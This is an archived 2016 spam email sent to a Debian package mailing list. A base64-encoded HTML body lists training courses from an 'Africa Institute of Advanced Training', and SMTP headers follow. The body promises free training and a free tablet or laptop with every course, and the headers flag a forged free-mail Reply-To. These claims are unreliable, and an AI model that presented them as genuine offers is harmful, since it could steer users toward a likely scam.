Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MjIgRmViIC0gMDQgTWFy IC8gNCAtIDE1IEF1ZyAvIDEwIC0gMjEgTm92PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1h cmdpbjogMHB4OyI+PHN0cm9uZz4wMDI8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2lu OiAwcHg7Ij5Pcmdhbml6YXRpb25hbCBSZXN0cnVjdHVyaW5nIEFuZCBDaGFuZ2UgTWFuYWdl bWVudDwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjIgV2Vla3M8L3RkPjx0ZCBzdHls ZT0ibWFyZ2luOiAwcHg7Ij4wNCAtIDE1IEFwciAvIDA0IC0gMTUgSnVsIC8gMjQgT2N0IC0g MDQgTm92PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4w MDM8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5BZHZhbmNlZCBQdWJs aWMgQWRtaW5pc3RyYXRpb24gJmFtcDsgTWFuYWdlbWVudDwvdGQ+PHRkIHN0eWxlPSJtYXJn aW46IDBweDsiPjEgV2VlazwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjA3IC0gMTEg QXByIC8gMTcgLSAyMSBOb3Y8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7 Ij48c3Ryb25nPjAwNDwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPlN0 cmF0ZWdpYyBMZWFkZXJzaGlwIERldmVsb3BtZW50IFByb2dyYW1tZTwvdGQ+PHRkIHN0eWxl PSJtYXJnaW46IDBweDsiPjEgV2VlazwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjIy IEZlYiAtIDI4IEZlYiAvIDI4IEp1bCAtIDAxIEF1ZyAvIDEwIC0gMTQgTm92PC90ZD48L3Ry Pjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMDU8L3N0cm9uZz48L3Rk Pjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5TdHJhdGVnaWMgV29tZW4gTGVhZGVyc2hpcCBE ZXZlbG9wbWVudDwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjEgV2VlazwvdGQ+PHRk IHN0eWxlPSJtYXJnaW46IDBweDsiPjI5IEZlYiAtIDA0IE1hciAvIDIwIC0gMjQgSnVuIC8g MDMgLSAwNyBPY3Q8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ry b25nPjAwNjwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPkNvcnBvcmF0 ZSBHb3Zlcm5hbmNlIEFuZCBPcmdhbml6YXRpb24gRGV2ZWxvcG1lbnQ8L3RkPjx0ZCBzdHls ZT0ibWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+ MjIgRmViIC0gMDQgTWFyIC8gNCAtIDE1IEF1ZyAvIDEwIC0gMjEgTm92PC90ZD48L3RyPjx0 cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMDc8L3N0cm9uZz48L3RkPjx0 ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5TcG9ydHMgTWFuYWdlbWVudCBhbmQgQWRtaW5pc3Ry YXRpb248L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5 bGU9Im1hcmdpbjogMHB4OyI+MjIgRmViIC0gMDQgTWFyIC8gNCAtIDE1IEF1ZyAvIDEwIC0g MjEgTm92PC90ZD48L3RyPjwvdGJvZHk+PC90YWJsZT48cCBzdHlsZT0ibWFyZ2luOjBweDtw YWRkaW5nOjBweDsiPjxzcGFuIHN0eWxlPSJjb2xvcjogcmdiKDM0LCAzNCwgMzQpOyBmb250 LWZhbWlseTogYXJpYWwsIHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogc21hbGw7IHdpZG93czog MTsiPiZuYnNwOzwvc3Bhbj48YnIgc3R5bGU9ImNvbG9yOiByZ2IoMzQsIDM0LCAzNCk7IGZv bnQtZmFtaWx5OiBhcmlhbCwgc2Fucy1zZXJpZjsgZm9udC1zaXplOiBzbWFsbDsgd2lkb3dz OiAxOyI+PHN0cm9uZz5IRUFMVEggQU5EIE1FRElDQUwgU0NJRU5DRVMgQ09VUlNFUzwvc3Ry b25nPjwvcD48dGFibGUgYm9yZGVyPSIxIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9 IjAiIHdpZHRoPSI5NDEiIHN0eWxlPSJjb2xvcjogcmdiKDM0LCAzNCwgMzQpOyBmb250LWZh bWlseTogYXJpYWwsIHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogc21hbGw7IHdpZG93czogMTsi Pjx0Ym9keT48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+RUxEPC9zdHJv bmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz5DT1VSU0UgVElUTEU8 L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPkR1cmF0aW9u PC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz5EYXRlczwv c3Ryb25nPjwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+ MDAxPC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+T2NjdXBhdGlvbmFs IGhlYWx0aCBhbmQgc2FmZXR5IENvdXJzZTwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsi PjIgV2Vla3M8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yMiBGZWIgLSAwNCBNYXIg LyA0IC0gMTUgQXVnIC8gMTAgLSAyMSBOb3Y8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFy Z2luOiAwcHg7Ij48c3Ryb25nPjAwMjwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46 IDBweDsiPkhlYWx0aCBBZG1pbmlzdHJhdGlvbiBQcm9ncmFtbWU8L3RkPjx0ZCBzdHlsZT0i bWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MDQg LSAxNSBBcHIgLyAwNCAtIDE1IEp1bCAvIDI0IE9jdCAtIDA0IE5vdjwvdGQ+PC90cj48dHI+ PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDAzPC9zdHJvbmc+PC90ZD48dGQg c3R5bGU9Im1hcmdpbjogMHB4OyI+UHJhY3RpY2UgTWFuYWdlbWVudCBQcm9ncmFtbWU8L3Rk Pjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4xIFdlZWs8L3RkPjx0ZCBzdHlsZT0ibWFyZ2lu OiAwcHg7Ij4wNyAtIDExIEFwciAvIDE3IC0gMjEgTm92PC90ZD48L3RyPjx0cj48dGQgc3R5 bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMDQ8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0i bWFyZ2luOiAwcHg7Ij5ISVYgYW5kIEFJRFMgY291c2VsbGluZ1Byb2dyYW1tZTwvdGQ+PHRk IHN0eWxlPSJtYXJnaW46IDBweDsiPjEgV2VlazwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBw eDsiPjIyIEZlYiAtIDI4IEZlYiAvIDI4IEp1bCAtIDAxIEF1ZyAvIDEwIC0gMTQgTm92PC90 ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMDU8L3N0cm9u Zz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5IZWFsdGggUHJvbW90aW9uIENvdXJz ZTwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjEgV2VlazwvdGQ+PHRkIHN0eWxlPSJt YXJnaW46IDBweDsiPjI5IEZlYiAtIDA0IE1hciAvIDIwIC0gMjQgSnVuIC8gMDMgLSAwNyBP Y3Q8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwNjwv c3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPk51dHJpdGlvbmFsIE1lZGlj aW5lIFByb2dyYW1tZTwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjIgV2Vla3M8L3Rk Pjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yMiBGZWIgLSAwNCBNYXIgLyA0IC0gMTUgQXVn IC8gMTAgLSAyMSBOb3Y8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48 c3Ryb25nPjAwNzwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPkNvbXBs ZW1lbnRhcnkgSGVhbHRoIFRoZXJhcGlzdCBDb3Vyc2U8L3RkPjx0ZCBzdHlsZT0ibWFyZ2lu OiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MjIgRmViIC0g MDQgTWFyIC8gNCAtIDE1IEF1ZyAvIDEwIC0gMjEgTm92PC90ZD48L3RyPjwvdGJvZHk+PC90 YWJsZT48cCBzdHlsZT0ibWFyZ2luOjBweDtwYWRkaW5nOjBweDsiPjxiciBzdHlsZT0iY29s b3I6IHJnYigzNCwgMzQsIDM0KTsgZm9udC1mYW1pbHk6IGFyaWFsLCBzYW5zLXNlcmlmOyBm b250LXNpemU6IHNtYWxsOyB3aWRvd3M6IDE7Ij48c3Ryb25nPkFWSUFUSU9OIENPVVJTRVM8 L3N0cm9uZz48L3A+PHRhYmxlIGJvcmRlcj0iMSIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFj aW5nPSIwIiB3aWR0aD0iOTM2IiBzdHlsZT0iY29sb3I6IHJnYigzNCwgMzQsIDM0KTsgZm9u dC1mYW1pbHk6IGFyaWFsLCBzYW5zLXNlcmlmOyBmb250LXNpemU6IHNtYWxsOyB3aWRvd3M6 IDE7Ij48dGJvZHk+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPkFDPC9z dHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz5DT1VSU0UgVElU TEU8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPkR1cmF0 aW9uPC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz5EYXRl czwvc3Ryb25nPjwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJv bmc+MDAxPC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+QWVyb25hdXRp Y2FsIEluZm9ybWF0aW9uIE1hbmFnZW1lbnQ8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7 Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MjIgRmViIC0gMDQgTWFy IC8gNCAtIDE1IEF1ZyAvIDEwIC0gMjEgTm92PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1h cmdpbjogMHB4OyI+PHN0cm9uZz4wMDI8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2lu OiAwcHg7Ij5BaXJ3b3J0aGluZXNzIEluc3BlY3RvcnM8L3RkPjx0ZCBzdHlsZT0ibWFyZ2lu OiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MDQgLSAxNSBB cHIgLyAwNCAtIDE1IEp1bCAvIDI0IE9jdCAtIDA0IE5vdjwvdGQ+PC90cj48dHI+PHRkIHN0 eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDAzPC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9 Im1hcmdpbjogMHB4OyI+QXZpb25pY3MgSW5zcGVjdGlvbnMgRnVuZGFtZW50YWxzPC90ZD48 dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MiBXZWVrczwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46 IDBweDsiPjA0IC0gMTUgQXByIC8gMDQgLSAxNSBKdWwgLyAyNCBPY3QgLSAwNCBOb3Y8L3Rk PjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwNDwvc3Ryb25n PjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPkF2aWF0aW9uIFNlY3VyaXR5IE1hbmFn ZW1lbnQ8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5 bGU9Im1hcmdpbjogMHB4OyI+MjIgRmViIC0gMDQgTWFyIC8gNCAtIDE1IEF1ZyAvIDEwIC0g MjEgTm92PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4w MDU8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5BdmlvbmljcyBUZXN0 IGFuZCBNZWFzdXJpbmcgRXF1aXBtZW50IENvdXJzZTwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46 IDBweDsiPjIgV2Vla3M8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4wOCAtIDE5IEZl YiAvIDAxIC0gMTIgQXVnIC8gMDcgLSAxOCBOb3Y8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0i bWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwNjwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJn aW46IDBweDsiPkZsaWdodCBPcGVyYXRpb25zIEluc3BlY3RvciBDb3Vyc2U8L3RkPjx0ZCBz dHlsZT0ibWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4 OyI+MDQgLSAxNSBBcHIgLyAwNCAtIDE1IEp1bCAvIDI0IE9jdCAtIDA0IE5vdjwvdGQ+PC90 cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDA3PC9zdHJvbmc+PC90 ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+UGVyc29ubmVsIExpY2Vuc2luZzwvdGQ+PHRk IHN0eWxlPSJtYXJnaW46IDBweDsiPjIgV2Vla3M8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAw cHg7Ij4wOCAtIDE5IEZlYiAvIDAxIC0gMTIgQXVnIC8gMDcgLSAxOCBOb3Y8L3RkPjwvdHI+ PC90Ym9keT48L3RhYmxlPjxwcmUgc3R5bGU9ImNvbG9yOiByZ2IoMzQsIDM0LCAzNCk7IHdp ZG93czogMTsiPiAKCiZsdDtwcmUmZ3Q7VmlzaXQgJmx0O2EgaHJlZj0iaHR0cDovL0xVRTYu dHJrLmVsYXN0aWNlbWFpbC5jb20vdHJhY2tpbmcvY2xpY2s/bXNnaWQ9b3F2a1NoYW1tQW1R UWJVUGQzUG9kUTImdGFyZ2V0PWh0dHAlM2ElMmYlMmZ3d3cuYWlhdGVkdS5vcmclMmZyZWcl MmZvbmxpbmUtZm9ybSZ2PXBHWDFxLTM2ZXdRMlhGLXE2U19lekEyIiB0YXJnZXQ9Il9ibGFu ayImZ3Q7aHR0cDovL3d3dy5haWF0ZWR1Lm9yZy9yZWcvb25saW5lLWZvcm0mbHQ7L2EmZ3Q7 IHRvIHJlZ2lzdGVyLjwvcHJlPjxwcmU+QXR0ZW5kIHNhbWUgY291cnNlIHdpdGggMyBjb2xs ZWFndWVzIGFuZCB0cmFpbiBmb3IgZnJlZS48L3ByZT48cHJlPkFsbCBDb3Vyc2VzIGNvbWVz IHdpdGggYSBmcmVlIFNhbXN1bmcgVGFiIG9yIEhQIFdpbmRvd3MgMTAgTGFwdG9wCiAKTG9v a2luZyBmb3J3YXJkIHRvIHdlbGNvbWluZyB5b3UuPC9wcmU+Ck1zLiBUYW5lbGU8L2Rpdj48 ZGl2PkFmcmljYW4gaW5zdGl0dXRlIG9mIEFkdmFuY2VkIFRyYWluaW5nPC9kaXY+PGRpdj5Q QVJLVklFVyBTT0VURE9SSU5HIFNUUjwvZGl2PjxkaXY+S0xJUFBPT1JUSklFIC0gQk9LU0JV Ukc8L2Rpdj48ZGl2PlNPVVRIIEFGUklDQSAxNDI4PC9kaXY+PGRpdj5QaG9uZTogKzI2ODc2 OTk2MTQ5PC9kaXY+PGRpdj5QaG9uZTogKzI3NzM0ODkyMTA2PC9kaXY+PGRpdj5GYXg6ICsy Nzg2MjQ0MTk5NDwvZGl2PjxkaXY+RmFjZWJvb2s6PGEgaHJlZj0iaHR0cDovL0xVRTYudHJr LmVsYXN0aWNlbWFpbC5jb20vdHJhY2tpbmcvY2xpY2s/bXNnaWQ9b3F2a1NoYW1tQW1RUWJV UGQzUG9kUTImdGFyZ2V0PWh0dHAlM2ElMmYlMmZ3d3cuZmFjZWJvb2suY29tJTJmQUlBVFJB SU5JTkcmdj1CTldZWGEzMVJuWmRvbUpiaGFycmp3MiIgc3R5bGU9ImNvbG9yOiM4MjgyODI7 Zm9udC1zaXplOjEycHg7Zm9udC1mYW1pbHk6SGVsdmV0aWNhLEFyaWFsLHNhbnMtc2VyaWY7 dGV4dC1kZWNvcmF0aW9uOm5vbmU7Ij53d3cuZmFjZWJvb2suY29tL0FJQVRSQUlOSU5HPC9h PjwvZGl2PjxkaXY+VHdpdHRlcjogQGFpYXRyYWluaW5nPC9kaXY+PGRpdj53ZWI6IDxhIGhy ZWY9Imh0dHA6Ly9MVUU2LnRyay5lbGFzdGljZW1haWwuY29tL3RyYWNraW5nL2NsaWNrP21z Z2lkPW9xdmtTaGFtbUFtUVFiVVBkM1BvZFEyJnRhcmdldD1odHRwJTNhJTJmJTJmd3d3LmFp YXRlZHUub3JnJnY9MkFlTDZnNnVzeWxUcDIyZndpQ25IUTIiIHN0eWxlPSJjb2xvcjojODI4 MjgyO2ZvbnQtc2l6ZToxMnB4O2ZvbnQtZmFtaWx5OkhlbHZldGljYSxBcmlhbCxzYW5zLXNl cmlmO3RleHQtZGVjb3JhdGlvbjpub25lOyI+d3d3LmFpYXRlZHUub3JnPC9hPjwvZGl2Pjxw IHN0eWxlPSJtYXJnaW46MHB4O3BhZGRpbmc6MHB4OyI+PGJyPjwvcD48L3RkPiAgICAgICAg ICAgICAgICAgICAgICAgPC90cj4gICAgICAgICAgICAgICAgICAgPC90Ym9keT4gICAgICAg ICAgICAgICA8L3RhYmxlPiAgICAgICAgICAgPC9kaXY+PCEtLVtpZiAoZ3RlIG1zbyA5KXwo SUUpXT48L3RkPjwvdHI+PC90YWJsZT48IVtlbmRpZl0tLT4gICAgICAgPC90ZD4gICA8L3Ry PiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+ICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICA8dGQgY2xhc3M9ImRyb3ciIHZhbGlnbj0idG9wIiBhbGlnbj0iY2VudGVy IiBzdHlsZT0iYm94LXNpemluZzpib3JkZXItYm94O2ZvbnQtc2l6ZTowcHg7dGV4dC1hbGln bjpjZW50ZXI7YmFja2dyb3VuZC1jb2xvcjojZmZmZmZmOyI+ICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgPCEtLVtpZiAoZ3RlIG1zbyA5KXwoSUUpXT48dGFibGUgd2lk dGg9IjEwMCUiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0i MCIgYm9yZGVyPSIwIj48dHI+PHRkPjwhW2VuZGlmXS0tPjxkaXYgY2xhc3M9ImxheWVyXzIi IHN0eWxlPSJkaXNwbGF5OmlubGluZS1ibG9jazt2ZXJ0aWNhbC1hbGlnbjp0b3A7d2lkdGg6 MTAwJTttYXgtd2lkdGg6ODAwcHg7Ij4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgPHRhYmxlIGNsYXNzPSJlZGNvbnRlbnQiIHN0eWxlPSJib3JkZXItY29sbGFw c2U6IGNvbGxhcHNlO3dpZHRoOjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjEwIiBj ZWxsc3BhY2luZz0iMCI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICA8dGJvZHk+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgPHRyPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICA8dGQgY2xhc3M9ImVkdGV4dCIgdmFsaWduPSJ0b3AiIHN0eWxlPSJ0ZXh0LWFs aWduOmxlZnQ7Y29sb3I6IzVmNWY1Zjtmb250LXNpemU6MTJweDtmb250LWZhbWlseTpIZWx2 ZXRpY2EsQXJpYWwsc2Fucy1zZXJpZjt3b3JkLWJyZWFrOmJyZWFrLXdvcmQ7ZGlyZWN0aW9u Omx0cjtib3gtc2l6aW5nOmJvcmRlci1ib3g7Ij4gICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwIHN0eWxlPSJtYXJnaW46MHB4O3Bh ZGRpbmc6MHB4O3RleHQtYWxpZ246Y2VudGVyO2ZvbnQtc2l6ZToxMXB4OyI+ICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSWYg eW91IG5vIGxvbmdlciB3aXNoIHRvIHJlY2VpdmUgbWFpbCBmcm9tIHVzLCB5b3UgY2FuICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgPGEgaHJlZj0iaHR0cDovL0xVRTYudHJrLmVsYXN0aWNlbWFpbC5jb20vdHJhY2tpbmcv dW5zdWJzY3JpYmU/bXNnaWQ9b3F2a1NoYW1tQW1RUWJVUGQzUG9kUTIiIHN0eWxlPSJjb2xv cjojODI4MjgyO2ZvbnQtc2l6ZToxMnB4O2ZvbnQtZmFtaWx5OkhlbHZldGljYSxBcmlhbCxz YW5zLXNlcmlmO3RleHQtZGVjb3JhdGlvbjpub25lO2JhY2tncm91bmQtY29sb3I6aW5pdGlh bDsiPnVuc3Vic2NyaWJlPC9hPiA8YnI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFmcmljYSBJ bnN0aXR1dGUgb2YgQWR2YW5jZWQgVHJhaW5pbmcsIEVtYmFzc3kgSG91c2UgLCBNYmFiYW5l LCBIaG9oaG8sIEgxMDAsIHd3dy5haWF0ZWR1Lm9yZyAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICA8L3A+ICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4gICAgICAgICAg ICAgICAgICAgICAgIDwvdHI+ICAgICAgICAgICAgICAgICAgIDwvdGJvZHk+ICAgICAgICAg ICAgICAgPC90YWJsZT4gICAgICAgICAgIDwvZGl2PjwhLS1baWYgKGd0ZSBtc28gOSl8KElF KV0+PC90ZD48L3RyPjwvdGFibGU+PCFbZW5kaWZdLS0+ICAgICAgIDwvdGQ+ICAgPC90cj4g ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGJvZHk+PC90YWJsZT4gICAgICAgICAg ICAgICA8IS0tW2lmIChndGUgbXNvIDkpfChJRSldPjwvdGQ+PC90cj48L3RhYmxlPjwhW2Vu ZGlmXS0tPjwvdGQ+PC90cj48L3Rib2R5PjwvdGFibGU+PGltZyBzcmM9Imh0dHA6Ly9MVUU2 LnRyay5lbGFzdGljZW1haWwuY29tL3RyYWNraW5nL29wZW4/bXNnaWQ9b3F2a1NoYW1tQW1R UWJVUGQzUG9kUTIiIHN0eWxlPSJ3aWR0aDoxcHg7aGVpZ2h0OjFweCIgYWx0PSIiIC8+PC9i b2R5PjwvaHRtbD4= From noreply@aiatedu.org Sun Oct 2 14:38:31 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.4 required=5.0 tests=FREEMAIL_FORGED_REPLYTO, HTML_MESSAGE,MIME_HTML_ONLY,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6591E7CAE for ; Sun, 2 Oct 2016 14:38:31 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id E715F304048 for ; Sun, 2 Oct 2016 12:38:30 -0700 (PDT) X-ASG-Debug-ID: 1475437102-0bf8156711fecd0001-S8gJnT Received: from picconi.debian.org (picconi.debian.org [5.153.231.3]) by cuda.sgi.com with ESMTP id XcMEHiGWPElt0lGD (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Sun, 02 Oct 2016 12:38:23 -0700 (PDT) X-Barracuda-Envelope-From: noreply@aiatedu.org X-Barracuda-Effective-Source-IP: picconi.debian.org[5.153.231.3] X-Barracuda-Apparent-Source-IP: 5.153.231.3 Received: from m229.mxout.mta4.net ([67.227.85.229]) by picconi.debian.org with esmtps (TLS1.0:ECDHE_RSA_AES_256_CBC_SHA1:256) (Exim 4.84_2) (envelope-from ) id 1bqmaa-0003Oq-6f for pcp@packages.debian.org; Sun, 02 Oct 2016 19:38:22 +0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=aiatedu.org; h=MIME-Version:Subject:Date:From:Reply-To:To:Message-ID:List-Unsubscribe:Content-Type; q=dns/txt; s=api; t=1475437093; bh=zzuMYUmvJ4XPL8CfBcQ9isvmE11i1Q1sj4b7gYvrzVM=; b= EXNRgmwyhUlbvUkX9QKeSq8svmUNbp/vQwrq3AdNqaRFK3Li98+5LDG0k91PaVUh7mGAntcYMLRpTqcI6mBm2jKQTn7+SsRXlYjOiwoiVH2ufV+lUkitdjhvumvNMoH6CGO+8vX/BwyLO7fDGMkREdh7TkG6XDbWt1jPD5O8EqI= DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=elasticemail.com; h=MIME-Version:Subject:Date:From:Reply-To:To:Message-ID:List-Unsubscribe:Content-Type; q=dns/txt; s=api; t=1475437093; bh=zzuMYUmvJ4XPL8CfBcQ9isvmE11i1Q1sj4b7gYvrzVM=; b= SzxwjtUsNFS8pOucpBRL98ywp4TYNtZX58UAvjmFX42ObhmvfSncFpGPJkT6NXhzwrQl1nC4t9PX6lnV8jQtlwmy4t/xeJwHBi1JEbykxBwcJlCqlQJfaZjRK+BMA17f7DEj2MnlhdQRa8w+A6TT3Xv/8DXF8EaV7ap8I1F59Q8= From: AIA Training To: Date: Sun, 02 Oct 2016 19:31:28 +0000 Subject: No course fee required.. Attend a Course today!!! Message-Id: <4tzealm5kudv.7dmF9FetRmdAA0ZUteJyZA2@LUE6.trk.elasticemail.com> X-ASG-Orig-Subj: No course fee required.. Attend a Course today!!! Reply-To: aiatedu@yahoo.com Sender: AIA Training List-Unsubscribe: =?us-ascii?q?=3Cmailto=3Aunsubscribe+7dmF9FetRmdAA0ZUteJyZA2=40bounces=2Eelasticem?= =?us-ascii?q?ail=2Enet=3Fsubject=3Dunsubscribe=3E=2C?= =?us-ascii?q?_=3Chttp=3A=2F=2FLUE6=2Etrk=2Eelasticemail=2Ecom=2Ftracking=2Funsubscribe=3Fmsgid=3D?= =?us-ascii?q?7dmF9FetRmdAA0ZUteJyZA2=3E?= X-Mailer: LUE6.trk.elasticemail.com X-Msg-EID: 7dmF9FetRmdAA0ZUteJyZA2 MIME-Version: 1.0 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: base64 Delivered-To: pcp@packages.debian.org X-Barracuda-Connect: picconi.debian.org[5.153.231.3] X-Barracuda-Start-Time: 1475437103 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 43157 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.26 X-Barracuda-Spam-Status: No, SCORE=1.26 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 